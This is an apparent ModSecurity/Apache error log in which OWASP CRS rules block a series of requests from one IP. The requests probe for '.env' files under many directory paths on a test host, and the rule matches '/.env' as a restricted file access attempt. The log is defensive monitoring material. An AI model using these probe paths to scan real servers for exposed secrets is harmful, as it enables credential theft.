[Wed Feb 25 06:05:12.568442 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKgAAAAU&quot;]
[Wed Feb 25 06:05:12.568628 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKgAAAAU&quot;]
[Wed Feb 25 06:05:12.684131 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKwAAAAU&quot;]
[Wed Feb 25 06:05:12.684365 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKwAAAAU&quot;]
[Wed Feb 25 06:05:12.684537 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKwAAAAU&quot;]
[Wed Feb 25 06:05:12.733067 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /font-icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLAAAAAU&quot;]
[Wed Feb 25 06:05:12.733332 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLAAAAAU&quot;]
[Wed Feb 25 06:05:12.733508 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLAAAAAU&quot;]
[Wed Feb 25 06:05:12.842709 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fonts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLQAAAAU&quot;]
[Wed Feb 25 06:05:12.843002 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLQAAAAU&quot;]
[Wed Feb 25 06:05:12.843185 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLQAAAAU&quot;]
[Wed Feb 25 06:05:12.916978 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /framework/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLgAAAAU&quot;]
[Wed Feb 25 06:05:12.917250 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLgAAAAU&quot;]
[Wed Feb 25 06:05:12.917423 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLgAAAAU&quot;]
[Wed Feb 25 06:05:12.965023 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLwAAAAU&quot;]
[Wed Feb 25 06:05:12.965331 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLwAAAAU&quot;]
[Wed Feb 25 06:05:12.965496 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDLwAAAAU&quot;]
[Wed Feb 25 06:05:13.019263 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-empathy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMAAAAAU&quot;]
[Wed Feb 25 06:05:13.019488 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMAAAAAU&quot;]
[Wed Feb 25 06:05:13.019630 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMAAAAAU&quot;]
[Wed Feb 25 06:05:13.087659 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /install/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ6DCYv6AM5Bs3q_JQDYvgAAAAc&quot;]
[Wed Feb 25 06:05:13.087890 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ6DCYv6AM5Bs3q_JQDYvgAAAAc&quot;]
[Wed Feb 25 06:05:13.088045 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ6DCYv6AM5Bs3q_JQDYvgAAAAc&quot;]
[Wed Feb 25 06:05:13.106332 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMQAAAAU&quot;]
[Wed Feb 25 06:05:13.106556 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMQAAAAU&quot;]
[Wed Feb 25 06:05:13.106716 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMQAAAAU&quot;]
[Wed Feb 25 06:05:13.130501 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMgAAAAU&quot;]
[Wed Feb 25 06:05:13.130765 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMgAAAAU&quot;]
[Wed Feb 25 06:05:13.130908 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMgAAAAU&quot;]
[Wed Feb 25 06:05:13.175521 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMwAAAAU&quot;]
[Wed Feb 25 06:05:13.175750 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMwAAAAU&quot;]
[Wed Feb 25 06:05:13.175918 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDMwAAAAU&quot;]
[Wed Feb 25 06:05:13.197232 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/momentum-fe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNAAAAAU&quot;]
